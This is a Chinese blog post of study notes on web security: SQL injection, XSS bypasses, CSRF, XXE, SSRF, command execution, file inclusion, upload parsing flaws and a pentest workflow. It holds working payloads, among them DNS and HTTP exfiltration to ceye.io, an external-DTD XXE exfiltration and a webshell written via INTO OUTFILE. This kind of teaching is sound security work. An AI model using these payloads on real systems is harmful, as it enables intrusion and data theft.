Web安全基础

前言

本文主要是作备忘录用,需要详细地学习可直接看参考链接,都是笔者筛选过质量较高的文章。

SQLI

基础知识

系统函数

@@datadir()		  //数据库路径
@@version_compile_os()	  //操作系统版本

字符串拼接

concat(str1,str2)	  //没有分隔符地连接字符串
group_concat()            //以逗号为分隔符连接一个组的字符串
concat_ws(',',str1,str2)  //有分隔符连接字符串,第一个参数是分隔符

union

把两个搜索出来的表格上下拼接到一起,要注意列数、同一列的类型要相同。

order by

order by x	      //对结果集按照第x列进行排序
order by 1,2,3,4     //对结果集按照1,2,3,4列进行排序

limit

select * from users limit m,n;  //从第m行开始,返回n条数据

information_schema

一个数据库,里面存储其他数据库名、表名、字段名,mysql5.0以上才有。

文件操作

load_file(file_name) 	             //导出文件,用于读文件,以及DNS外带,有权限要求
load data infile; 		     //将文件导入到数据库中,
select ... into outfile 'file_name'; //写文件,可以用来写shell

判断数据库类型

1、特定函数判断:mysql、mssql用len(),oracle用length()
2、注释符判断:"/*"是mysql的注释符,"--"是oracle和mssql的注释符,另外oracle不支持用";"做多行查询
3、错误信息判断:触发sql语法错误,根据报错信息判断数据库类型

盲注

布尔盲注

本质就是,通过判断回显来爆数据,下面记录一些会用到的函数,脚本在pycharm上。

字符串截断

left(select(database()),1) 	//从左开始截取1个字符
substr(select(database()),1,1) 	//从第1个字符开始,截取1个字符
mid(a,b,c) 			//同substr

条件判断

# 逻辑分支
1=(if((user() regexp '^root'),1,0));     //如果表达式1正确,返回表达式2,否则返回表达式3
case when xxx then xxx                   //呃呃,同上
# 使用正则
select user() regexp '^ro';  		 //正确返回1,错误返回0
select user() like 'ro%';    		 //正确返回1,错误返回0

字符转ascii码

ascii()  //将字符串第一个字符转成ascii码
ord()	 //将字符转ascii码

时间盲注

通过延时函数的延时来判断逻辑为真还是为假,那关键还是怎么构造延时,有下面5种方法

sleep

# 直接延时5s
select sleep(5);
# payload:如果数据库第一个字符ascii大于115就延时,否则什么都不做
If(ascii(substr(database(),1,1))>115,sleep(5),1)%23 

benchmark

第一个参数是执行函数的次数,第二个参数是要执行的函数

# 执行sha(1)函数10000000次,以此延时,大概4.多秒
select benchmark(10000000,sha(1));
# payload实例
UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM (select database() as current) as tb1;

笛卡尔积

我的理解笛卡尔积就是让两个表排列组合(表A有3行,表B有4行,那笛卡尔积拼出来的表就3x4行),通过指数级增加的排列组合达到延时目的

# 下例计算information_schema.columns这个表平方以后的行数(再有个C的话就是三次方)
SELECT count(*) FROM information_schema.columns A, information_schema.columns B;

注意:这个方法对表的行数有要求,有时候要么延时过短、要么过长,不好操控。

GET_LOCK

首先搞清楚这个函数干什么的,GET_LOCK用来给表加锁,防止多个线程同时操作一个表,有临界资源内味;

它的第一个参数指定要加锁的表,第二个参数设置当加锁失败时,停止等待的时间;要解锁的话用release_lock('key')

下面是测试,首先给users表加锁:

然后再开个terminal,尝试再加锁,结果失败并等待5s

关于解锁

payload:

# 1、先给表加锁
select * from ctf where flag = 1 and get_lock('username',1);
# 2、再加锁失败,形成延时
select * from ctf where flag = 1 and 1 and get_lock('username',5)

注意:这个利用方式延时依赖于前一条语句执行,mysql中要求站点是使用mysql_pconnect创造的持久链接

正则

使用长字符串+计算量大的正则来拖慢系统达到延时目的:

select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');

DNS外带

通俗来讲就是,盲注一个一个字符来爆在实际渗透过程中容易被ban,让服务器请求在线平台(URL中拼接要带的数据),再通过平台的日志来查看数据

在线接数据网站:

  • ceye.io
  • DNSlog

不同数据库如何让服务器访问:

# Microsoft SQL Server
master…xp_dirtree (用于获取所有文件夹的列表和给定文件夹内部的子文件夹)
master…xp_fileexist (用于确定一个特定的文件是否存在于硬盘)
master…xp_subdirs (用于得到给定的文件夹内的文件夹列表)

# Oracle
GET_HOST_ADDRES (用于检索特定主机的IP)
UTL_HTTP.REQUEST (从给定的地址检索到的第1-2000字节的数据)

# Mysql
load_file (读取文件内容并将其作为字符串返回)

# PostgreSQL
COPY (用于在文件系统的文件和表之间拷贝数据)

这里用Mysqlload_file()来测试,在线平台用的ceye,在terminal打开mysql,输入语句:

# 测试能否成功访问
select load_file("\\\\sketch_pl4nee.88o74j.ceye.io\\robots.txt");

# 测试外带数据
select load_file(concat("\\\\",hex(version()),".88o74j.ceye.io\\robots.txt"));

一般执行时间很长就是成功了,访问网站需要时间:

ceye上查看带出来的数据,这里因为UNC格式不能有特殊字符,用hex编码防出错:

注意:

  • UNC不能包含特殊字符,可以用hex()编码,但是UNC长度不能超过120,注意别太长
  • load_file()需要数据库用户有读权限,并且要在my.ini中设置secure_file_priv=""(默认没有这个配置)
  • 实际使用的时候,如果执行payload后一直在转圈,说明成了,一下刷出来说明寄了

报错注入

floor

select * from users where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
  • concat(),拼接字符串
  • floor(),向下取整
  • rand(0),有规律的0~1随机数
  • group_by xxx,按xxx分组,会建立一个临时虚拟表,然后把查询结果插入其中

users表如下

id username
1 a_010
2 mocker
3 a_010
4 sketch_pl4ne
5 mocker
6 ybb

select username,count(*) from users group by username; 为例,分析group_by xxx的插入过程:

第一次

username count(*)
a_010 1

第二次:

username count(*)
a_010 1
mocker 1

第三次:

username count(*)
a_010 1+1
mocker 1

最后:

username count(*)
a_010 2
mocker 2
sketch_pl4ne 1
ybb 1

关键点:

  • floor(rand(0)*2)产生的01序列是有规律的,011011
  • username换成floor(rand(0)*2),每次查询会计算一次floor(rand(0)*2),插入的时候又会计算一次floor(rand(0)*2)
  • 搞来搞去,把主键搞重复惹捏

第一次,查询一次得0,发现临时表中没有这个键,要插入,于是再计算一次得1,插入表中:

floor(rand(0)*2) count(*)
1 1

第二次,再查询一次得1,表里有这个键,count+1:

floor(rand(0)*2) count(*)
1 1+1

第三次,再查询一次得0,表里没有这个键,要插入,于是计算一次得1,插入表中,但是表中已经有键为1了捏,于是主键重复了捏。

extractvalue

select * from users where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

首先搞清楚这个函数是干什么的,这是一个查询指定xml文件内容的函数,很像html的从一层层的标签找内容:

EXTRACTVALUE (XML_document, XPath_string);

XML_document是xml文档对象的名称,XPath_string是Xpath格式的字符串,报错原因是第二个参数,它必须是Xpath格式(/xxx/xx/x),不对就会报错,并且把查询的内容显示在报错信息里:

再回头看payload就很清楚了,0x7e是'~'的ascii码,专门用来触发Xpath语法错误的,然后用concat拼接一手即可。

updatexml

select * from user where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

extractvalue()一回事,这里简单解释下这个函数:

UPDATEXML (XML_document, XPath_string, new_value);

用来将XML_document指定的xml文件中,XPath_string指定的内容,替换成new_value

利用点是还是第二个参数。

注意:

  • mysql5.1.5开始使用这两个函数,在这之前的版本没法这样报错
  • extractvalueupdatexml最多显示32个字符,超过的需要使用substr()来截断

exp

整数溢出导致的报错,exp是以e为底的指数函数,这个函数会在参数大于709时产生溢出:

select exp(~(select * from (select user())x));

首先得知道,语句执行成功会返回0,用~取反之后变成一个很大的数,结合上面说的,就能造成整数溢出。

注意:

  • 版本限制比较严格,mysql版本需要大于5.5但是小于5.5.53
  • 报错长度限制在mysql/my_error.c中可以看到是512个字符

二次注入

利用已经存储进数据库的数据,被读取出来的时候拼接到sql语句中导致的注入。

例子:

# 更新密码
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass';

注册用户名为admin'#的账户,拼接以后变成下面这样,可以任意修改admin用户密码。

UPDATE users SET PASSWORD='123456' where username='admin'#' and password='$curr_pass';

宽字节注入

我们在过滤引号的时候,通常是在它前面加反斜杠来转义,有以下三种方式:

  • preg_replace
  • addslashes
  • mysql_real_escape_string

GBK双字节绕过

mysql在使用GBK编码的时候,两个字符变成一个汉字,那么就可以构造特殊字符%df,吃掉用来转义的反斜杠。

addslashes(%27) -> %5c%27 -> \' 
addslashes(%df%27) -> %df%5c%27 -> 運'

堆叠注入

多条sql语句同时执行,要求使用mysqli_multi_query()函数来允许多条语句执行;局限性较高,不过可行的话危害性也很大。

支持多语句的话,有以下两种方式注入:

直接拼接

1';show tables from security;select 1,2,3;

预编译

# 定义预编译语句
PREPARE stmt_name FROM preparable_stmt;
# 执行预编译语句
EXECUTE stmt_name [USING @var_name [, @var_name] ...];

//例子
PREPARE test FROM 'select (?+?)';  //这里的select可以用concat()、char()来绕过过滤
SET @a = 1;SET @b = 2;
EXECUTE test USING @a,@b;

order by 注入

order by不同于where后的注入点,不能使用union等进行注入,注入点在order by后面的参数id,示例代码:

select * from users order by $id;

有三种拼接方法:

  • id = (sql语句)
  • id = rand(sql语句)
  • id = 1 and (sql语句)

测试方法

  1. order by 1 desc;order by 1 asc;排序不同
  2. order by rand(true)/rand(false);排序不同
  3. order by (sleep(1));有延时,时间=1x结果集行数

报错注入

id=(报错语句)直接报错

?sort=(select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)

id=1 and (报错语句)拼接报错

?sort=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))

布尔盲注

利用rand(true)/rand(false)返回结果不同:

?sort=RAND(LEFT(database(),1)>'r')
?sort=RAND(LEFT(database(),1)>'s')

延时盲注

# rand + sleep 延时
?sort=RAND(IF(ASCII(SUBSTR(database(),1,1))>114,1,sleep(1)))  //rand(sql语句)
# rand + benchmark 延时
?sort=(SELECT IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,md5('1')),null) FROM (select database() as current) as tb1)  //(sql语句)

写文件

写webshell,lines terminated by可以指定文件每一行之间的分隔符:

?sort=1 INTO OUTFILE "D:/others/phpstudy_pro/WWW/less50.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e  //<?php phpinfo();?>的16进制编码

limit 注入

分两种情况,前面没有order by / 前面有order by

order by,直接用union联合查询

select * from users limit injection_point;
select * from users limit 0,1 union select username from users;

order by,用PROCEDUREanalyse,可以报错延时注入,注入点为analyse(1,1)的第一个参数

注意:适用5.0.0< MySQL <5.6.6

select * from users order by id limit injection_point;
# 报错
select * from users order by id limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
# 延时
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

XSS

我的理解:xss就是把js代码注入到页面,造成恶意的js代码执行。

分类

XSS大致可以分成三类,分别是:

  • 反射型,用户提交js代码给服务器,服务器执行后返回给用户。

  • 存储型,留言板,持久化

  • DOM型,与前两种的区别:不用将数据提交给服务器再返回,属于特殊的反射型xss

    好处:可以绕过waf,躲避检测,比如下面

location.hash,获取url锚点后面的字符串(#xxxx),payload写在这后面,绕过waf检测
例子:
localhost/index.html#javascript:alert(1)

前提:JS脚本可以访问浏览器的文本对象模型

Bypass

绕过弹窗关键字过滤

一般Waf都对alert()、prompt()、confirm()、eval()等函数有过滤,我们可以通过分割函数来绕过。

  • 添加空白符:alert%20(/xss/)、alert%0A(/xss/)、alert%0D(/xss/)、alert%09(/xss/)

  • 添加注释:alert/*abcd*/(/xss/)、alert//abcd%0A(/xss/)、confirm//abcd%0D(/xss/)

  • ''代替():alert'xss'

  • 括号分割:(alert)(/xss/)、((alert))(/xss/)

  • 使用window和top:

    <img src=x onerror="window['al'+'ert'](0)"></img>
    <img src=x onerror="window.alert(0)"></img>
    <img src=x onerror="top['al'+'ert'](0)"></img>
    <img src=x onerror="top.alert(0)"></img>
    
  • 利用动态拼接特性

    <input/onfocus=_=alert,_(123)>
    <input/onfocus=_=alert,xx=1,_(123)>
    <input/onfocus=_=alert;_(123)>
    <input/onfocus=_=alert;xx=1;_(123)>
    <input/onfocus=_=window['alert'],_(123)>
    <input/onfocus=_=window.alert,_(123)>
    <input/%00/autofocus=""/%00/onfocus=.1|alert`XSS`> 
    
  • 异常处理

    <svg/onload="window.onerror=eval;throw'=alert\x281\x29';"> //这里括号用\x16进制ascii码转义了
    
  • eval(string) 拼接字符串

    <svg/onload=eval('ale'+'rt(1)')>
    
  • 跳转中也可以使用字符串拼接

    <svg/onload=location='javas'+'cript:ale'+'rt(1)'>
    <svg/onload=window.location='javas'+'cript:ale'+'rt(1)'>
    <svg/onload=location.href='javas'+'cript:ale'+'rt(1)'>
    <svg/onload=window.open('javas'+'cript:ale'+'rt(1)')>
    <svg/onload=location='javas'.concat('cript:ale','rt(1)')>
    

编码绕过

<iframe src=javascript:alert(1)>
  • HTML实体编码

    //10进制
    <iframe src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>
    //16进制
    <iframe src=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>
    //不带分号
    <iframe src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x31&#x29>
    //填充00
    <iframe src=&#x0006A&#x00061&#x00076&#x00061&#x00073&#x00063&#x00072&#x00069&#x00070&#x00074&#x0003A&#x00061&#x0006C&#x00065&#x00072&#x00074&#x00028&#x00031&#x00029>
    //绕过关键字
    1.<iframe src=javas&#x09;cript:alert(1)></iframe> //编码Tab
    2.<iframe src=javas&#x0A;cript:alert(1)></iframe> //编码回车
    3.<iframe src=javas&#x0D;cript:alert(1)></iframe> //编码换行
    4.<iframe src=javascript&#x003a;alert(1)></iframe> //编码冒号
    5.<iframe src=javasc&NewLine;ript&colon;alert(1)></iframe> //HTML5 新增的实体命名编码,IE6、7下不支持
    
<a href="{here}">xx</a>
<iframe src="{here}"> 
  • URL编码

    在href和src后面,可以用JavaScript伪协议执行JS,而伪协议又是可以URL编码的,不过javascript:不能够编码,不然会失效。

    <a href="javascript:%61%6c%65%72%74%28%31%29">xx</a>
    <iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
    //可以二次URL编码
    <iframe src="javascript:%2561%256c%2565%2572%2574%2528%2531%2529"></iframe>
    //HTML实体化编码javascript:,后面用URL编码
    <iframe src="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;%61%6c%65%72%74%28%31%29"></iframe>
    
  • Unicode编码

    <input onfocus=location="javascript:\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029" autofocus> 
    <input onfocus=\u0061\u006C\u0065\u0072\u0074(1) autofocus>
    //8进制和16进制
    1.<svg/onload=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')>
    2.<svg/onload=setTimeout('\141\154\145\162\164\050\061\051')>
    3.<svg/onload=setTimeout('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')>
    4.<script>eval("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
    5.<script>eval("\141\154\145\162\164\050\061\051")</script>
    6.<script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>
    //结合绕过弹窗函数过滤,用window.eval(alert(xxx))
    1.<script>window['eval']("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
    2.<script>window['eval']("\141\154\145\162\164\050\061\051")</script>
    3.<script>window['eval']("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>
    
  • Base64编码

    <a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a>
    <iframe src="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></iframe>
    //使用atob函数
    1.<a%20href=javascript:eval(atob('YWxlcnQoMSk='))>Click</a>
    2.<a%20href=javascript:eval(window.atob('YWxlcnQoMSk='))>Click</a>
    3.<a%20href=javascript:eval(window['atob']('YWxlcnQoMSk='))>Click</a>
    

引入外部JS

通过在<script>标签中引入其他字符绕过

  1. <script/src='1.js'/~~234*234></script ~~234*234>
  2. onfocus='a=document.createElement("script");a.src="http://x.x.x.x";body.appendChild(a);'
  3. onfocus='a=document.createElement("sc"+"ript");a.src="http://x.x.x.x";body.appendChild(a);'
  4. <link%20rel=import%20href="2.js">

同源策略

如果两个URL的协议、域名、端口都相同,就说这两个URL同源。

目的:

  • 限制不同源JS脚本对当前DOM对象的读写
  • 限制不同源站点读取当前站点cookie等信息
  • 限制XMLHttpRequest等方式将站点的数据发送给不同源站点

防护措施

  • 设置HttpOnly,cookie只能通过HTTP方式获取,JS无法获取cookie
  • 配置CSP策略,可以通过HTTP头或者meta信息定义,可禁止加载其他域的文件、禁止内联脚本和未授权脚本执行
  • 设置Waf过滤或者实体化编码关键字

CSRF

介绍

CSRF(Cross Site Requet Forgery),跨站请求伪造,在用户已经登录某网站的基础上,让用户访问特定页面达到攻击效果,以用户身份发起伪造的请求。

例如:用户已经登录某网站,通过钓鱼链接或者xss让他访问特定功能(比如修改自己密码),达到伪造用户访问某些功能的效果。

防护措施

  • CSRF Token,每一个页面对应一个token,请求页面时需要带上token验证,判断是否合法

  • refer、orign两个熟悉检测(但是不一定准)

  • 重要的功能设置再次输入密码

XXE

基础知识

XML,可拓展标记语言,写法类似HTML,主要用于存储和传输数据,类似的还有json。

DTD,文档类型定义,可以理解成一个写XML标签时的规范,XML外部实体注入的实体就是这里面的外部实体

实体,类似于变量,在DTD中定义,在XML或者DTD中引用,用ENTITY定义。

漏洞利用

读文件

有回显

<!DOCTYPE root [
<!ELEMENT name ANY >
<!ENTITY file SYSTEM "file:///d://1.txt" >
]>
<root>
<name>&file;</name>
</root>

无回显

读取服务器文件后,通过加载外部恶意dtd文件,带着读取了文件内容的变量访问接收平台,实现信息外带。

payload端:

<?xml version="1.0"?>
<!DOCTYPE convert [ 
<!ENTITY % remoteDtd SYSTEM "http://your.v.p.s/evil.dtd">
%remoteDtd;%define;%send;
]>

VPS端:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/1.txt">
<!ENTITY % define "<!ENTITY &#x25; send SYSTEM 'http://i42r2n.ceye.io/?p=%file;'>">	

注意:%需要编码成&#x25

命令执行

使用的是expect://协议,需要PHP安装了expect拓展,实际上能RCE的很少。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>

SSRF

简介

SSRF(Server-side Request Forgery),服务端请求伪造,顾名思义,是攻击者构造恶意数据传到服务器端,服务器执行并发送请求的漏洞

一般存在于服务器获取其他服务器相关信息的功能,比如图片加载、通过URL地址分享、在线翻译等功能;

典型例子是GET参数url=某某地址

漏洞函数

file_get_contents();  //读取文件到字符串
fsockopen();  //使用socket套接字建立tcp连接,比较麻烦
curl_exec();  //功能强大,但是需要设置各种opt

利用方式

  • http/https访问内网Web服务
  • file协议读取本地文件
  • dict协议扫描端口
  • gopher协议攻击内网应用(没密码mysql3306、redis6479、struts2漏洞)
  • 工具:gopherus

bypass

  • ip进制转换
  • 192.168.0.1.xip.io 解析到192.169.0.1

防护措施

  1. 过滤返回的信息,比如请求的是图片,验证返回的是否是图片
  2. 限制请求的端口
  3. 禁用不常用的协议,比如只允许http/https协议

命令执行

函数

exec(); 		    # 无回显
system(); 		    # 有回显
passthru(); 	            # 类似system
shell_exec(); 	            # 默认无回显,可通过echo输出
反引号                       # shell_exec的变体,被禁用也不可执行
popen(); 		    # 返回一个文件指针,不回显但是命令已经执行
proc_open();	            # 传参有变化,和popen同理
ob_start();		    # 打开输出缓冲,激活之后脚本不会输出内容,而是会存在内部缓冲区里,要输出要用ob_end_flush()
                            # ob_start($call_back_func)里的参数在执行ob_end_flush()的时候被调用,此时输入的内容都会被当作$call_back_func的参数
			    # <?php $cmd = 'system’; ob_start($cmd); echo "$_GET[a]"; ob_end_flush();?>

绕过

# 1.空格绕过
<、<>、${IFS}、$IFS$9、{cat,flag.php}、%09、%20
# 2.黑名单绕过
拼接:		 a=g;cat fla$a.php
base64编码: echo "base64==" | base64 -d
通配符:     /?in/?s => /bin/ls
反斜杠:	cat 1.txt => ca\t 1.txt
内敛绕过:cat `ls`、cat $(ls),
# 3.绕过disable_function
ld_preload劫持系统函数,条件是没有禁用mail函数,可访问到的目录具有写权限
php_gc进程bypass,条件是php版本:7.0~7.3

无回显外带

  • bash反弹shell
  • DNS外带数据
  • HTTP外带
    • curl http://xxx.ceye.io/$(whoami)
    • wget http://xxx.ceye.io/$(whoami)

代码执行

函数

eval(); 					# 注意eval不是函数,不能动态执行,它是一个语言构造器
assert();					# php7中它也不是函数了,不能动态执行
call_user_func($callback, [$parameter]); 	# 回调函数,第一个参数是函数名,第二个是参数
call_user_func_array($callback, $param_arr); 	# 同上,差别是参数用数组传递
preg_replace($pattern, $replacement, $subject); # 模式匹配的/e参数会把要替换的字符串当作php代码执行
mb_ereg_replace(, , ,$mode); 			# 同上,传参不同
preg_filter();  				# 同preg_replace

绕过

  • PHP动态特性拼接
  • substr()、strtr()截取字符串变形

文件包含

函数

include(); 		# 报错但不影响后续执行
include_once();
require();		# 报错后直接退出
require_once();

利用方式

包含environ文件

/proc/self/environ 中会保存Web进程运行时的环境变量,我们可以在UA头部注入php代码,再包含这个文件来getshell

包含日志文件

我们可以通过构造存在恶意代码的访问,让代码保存在日志中,再包含对应日志文件来getshell,比如apache的访问日志access.log,我们先在请求的URL中插入一句话木马,访问后木马即会插入到access.log日志文件中,再包含即可getshell

/var/log/apache/access.log
/var/log/apache/error.log
/var/log/auth.log
/var/log/vsftpd.log
/var/log/sshd.log
/var/log/mail

包含session文件

php session的文件命名一般是sess_[phpsessid],另外路径可以看phpinfo或者找默认路径:

/tmp
/tmp/sessions
/var/lib/php5
/var/lib/php7

这个利用需要Session里存在可控的变量供我们写入代码,然后包含对应路径即可

常用伪协议

  • php://
    • php://input,将payload放入$_POST中,结合包含漏洞实现任意命令执行
    • php://filter,可以编码来读取不显示的文件:?file=php://filter/read=convert.base64.encode/resource=index.php
  • data://,和input类似,结合包含漏洞可以把data://流当php文件执行:?file=data://text/plain,<?php phpinfo();
  • zip://,可以访问压缩包内文件,结合包含漏洞可以把zip://当作php文件执行:zip://[压缩包绝对路径]#[压缩包内文件]
  • phar://,与zip类似(phar可以使用相对路径):?file=phar://myzip.zip/phpinfo.txt

文件上传

uploads-labs的bypass问得挺少的,问到见招拆招就行,重点记下面的文件解析。

文件解析漏洞

  • Apache
    • 多文件后缀,1.php.jpg
    • .htaccess,AddType application/x-httpd-php .jpg(上传1.jpg图片马)
  • Nginx
    • 空字节解析,主要是因为Nginx与FastCGI处理%00空字节的方法不一致,导致解析漏洞,xxx.jpg%00.php
    • .php结尾解析,因为配置问题,以.php结尾的url都会交给php解析,不管文件存不存在,/1.jpg/.php,
  • IIS
    • 目录解析,服务器默认把.asp、.asa目录下的文件都解析成asp文件:/xx.asp/xx.jpg
    • 分号截断,服务器默认不解析分号,因此可以在.asp文件后加;.jpg伪装jpg文件
    • 默认文件类型,xx.asa、xx.cer、xx.cdx在IIS6.0也可以当作.asp解析
    • .php结尾解析,因为配置问题,以.php结尾的url都会交给php解析,不管文件存不存在,/1.jpg/.php
  • .usr.ini,适用于N/A/I,只要有fastcgi都可以,auto_prepend_file=1.jpg(本目录下php文件自动包含1.jpg)
  • Windows命名规则,由于Win的文件名开头和结尾都不能是 空格和点 ,如果是的话会自动去除,也可以达到绕过过滤的目的

印象深刻的CTF题

无数字字母Webshell

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
  eval($_GET['shell']);
}

顾名思义,eval中不允许传入数字和字母该怎么getshell,考察的是我们怎么利用PHP的特性来绕过这个限制,比较经典的三种方法是:

  1. 利用异或,两个字符串异或出我们需要数字或者字母,需要用脚本fuzz

  2. 利用汉字取反,一些汉字通过取反操作也能变成字母,也需要fuzz

  3. 利用自增/减符号,我们知道字符"A"++="B",所以只要构造出字符A,通过自加键运算就可以绕过限制

    <?php
    $_=[].'';   //得到"Array"
    $___ = $_[$__];   //得到"A",$__没有定义,默认为False也即0,此时$___="A"
    

五字符getshell

即允许用户执行命令,但是命令长度<=5要怎么getshell,这里用到比较多Linux的知识。

  • 通过反斜杠可以实现命令换行
  • 通过>x可以创建名为x的空文件
  • ls -t可以让创建的文件按照时间排序

那我们的思路是:通过新建特殊文件名的文件,让文件名最后以反斜杠结尾,再利用ls -t排序,最后用管道符输入进文件里,再用sh命令执行命令。

渗透测试思路

# 1.信息收集
a. fofa、shadon查询站点的相关信息(真实ip,系统类型,版本,开放端口,使用框架之类)
b. whois查询姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等)
c. 网站指纹识别(包括使用cms,web容器信息,使用组件信息),dns记录,服务器是否上云
d. robots.txt,dirsearch来收集敏感目录,文件信息
e. 企查查、天眼查全资子公司,SSL证书查询/爆破收集子域名,收集C段信息

# 2.漏洞挖掘
a. 对主站进行人工检测(burp+xray被动扫描),先挖一些xss、sql、越权漏洞、后台弱密码
b. 同时对收集到的属于目标资产的站点(包括子站,全资子公司),用工具批量扫漏洞(goby、awvs)
c. 找一些经典的容易利用的资产,比如各种OA(致远、通达、泛微等)、shiro反序列化、struts2、weblogic这种打点,尝试getshell

# 3.内网渗透
a. 横向、提权、代理、免杀,拿msf看看有没有ms17-010、0708这种经典漏洞这样

# 4.清除测试数据 | 输出报告
a. 日志、测试数据的清理
b. 总结,输出渗透测试报告,附修复建议

# 5.复测
a. 验证并发现是否有新漏洞,输出报告,归档

参考链接

MYSQL报错注入的一点总结 - 先知社区 (aliyun.com)

MySQL 报错注入总结 | V0W's Blog

MYSQL注入天书之基础知识 - lcamry - 博客园 (cnblogs.com)

利用DNS实现SQL注入带外查询(OOB) - renblog - 博客园 (cnblogs.com)

DNSlog注入 - 卿先生 - 博客园 (cnblogs.com)

非常规注入篇_秋水的博客

MySQL时间盲注五种延时方法 (PWNHUB 非预期解) - cdxy

MySQL的多表查询(笛卡尔积原理) - ζ  简单ヾ° - 博客园 (cnblogs.com)

一篇文章带你深入理解 SQL 盲注 | K0rz3n's Blog

利用预编译来SQL注入 · 白袍的小行星 (eviladan0s.github.io)

sql注入之order by注入 · Yang1k

从sqli-labs Less - 50 全面分析order by后注入 - FreeBuf网络安全行业门户

Mysql 注入之 limit 注入 - 简书 (jianshu.com)

[转载]Mysql下Limit注入方法 | 离别歌 (leavesongs.com)

绕过XSS过滤姿势总结 - zha0gongz1 - 博客园 (cnblogs.com)

PHP下的RCE总结 - 安全客,安全资讯平台 (anquanke.com)

Web安全学习笔记 — Web安全学习笔记 1.0 文档 (websec.readthedocs.io)

文件包含漏洞 - zs0zrc (zszcr.github.io)

浅谈解析漏洞的利用与防范 - 安全客,安全资讯平台 (anquanke.com)

从XML相关一步一步到XXE漏洞 - 先知社区 (aliyun.com)

posted @ 2022-02-04 22:58  Jasper_sec  阅读(237)  评论(0编辑  收藏  举报